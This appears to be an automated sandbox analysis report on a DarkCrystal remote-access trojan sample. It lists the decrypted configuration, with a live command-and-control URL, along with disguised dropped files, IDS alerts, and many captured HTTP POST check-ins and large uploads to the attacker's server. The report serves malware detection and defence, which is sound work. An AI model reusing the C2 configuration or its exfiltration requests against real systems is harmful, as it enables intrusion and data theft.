Source: 1.0.decFF62.tmp.f90000.0.unpack	String decryptor: ["5mQSpB8Y4GiMgQH3883CMKlkrVeQRkCrkFTOhjyucl5aKhha2jX24DPuAplUgsGTE1mb73VYKJkkOLaJyDXsNJwgziN28eNtelWS4Fd9N8rvdpfzObfcUYG4EGlYpdaq","6424e5e1b800d7114c06986ec77eca39944ebd910f91bf37cb5c260623f3ebe2","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVW93WTI1V2JFbHBkMmxQUTBrMlNXNVNlV1JYVldsTVEwazFTV3B2YVdSSVNqRmFVMGx6U1dwRmQwbHFiMmxrU0VveFdsTkpjMGxxUlhoSmFtOXBaRWhLTVZwVFNYTkpha1Y1U1dwdmFXUklTakZhVTBselNXcEZla2xxYjJsa1NFb3hXbE5KYzBscVJUQkphbTlwWkVoS01WcFRTamtpWFE9PSJd"]
Source: 1.0.decFF62.tmp.f90000.0.unpack	String decryptor: [["http://b902470r.beget.tech/DarkCrystal/","PollHttpprocessApimultilinuxAsynclocalCentral"]]

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Directory created: C:\Program Files\Windows Portable Devices\services.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Directory created: C:\Program Files\Windows Portable Devices\c5b4cb5e9653cc			Jump to behavior

Source: t8xf0Y1ovi.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.pdb source: decFF62.tmp, 00000001.00000002.1726751178.0000000003941000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Code function: 4x nop then jmp 00007FFD9B89DFC6h		1_2_00007FFD9B89DDAD
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Code function: 4x nop then jmp 00007FFD9BDD25E8h		1_2_00007FFD9BDD2580

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49730 -> 185.50.25.59:80

Source: Joe Sandbox View

ASN Name: BEGET-ASRU BEGET-ASRU

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49849

Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2020Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2000Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----zDFRlACNbg7T7zxk0ZXAK50qf5aEgaQSXEUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2766Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----e9lyAjHEXGlFWrVn1gGsixiurDKRRcgzS2User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 177158Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2092Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----209pDRrD0nZucDbA3LEhaxRdEovAqcnN7dUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 215194Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2196Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----pt0Og6laWiHcK3Rfq5JcBbr4aFSccaUZ9kUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 177394Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----i2e5cwrhMdNniYTuRS0m1y4wBI7uxoL9RVUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 176694Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----XnwpcadWA7dVK9LThNqmBuIauwZBgy6qQJUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 181926Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2196Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----7cZZqIb8JaoR1jDUyEuSdB9PwuzdMqlsfYUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 183126Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continueConnection: Keep-Alive
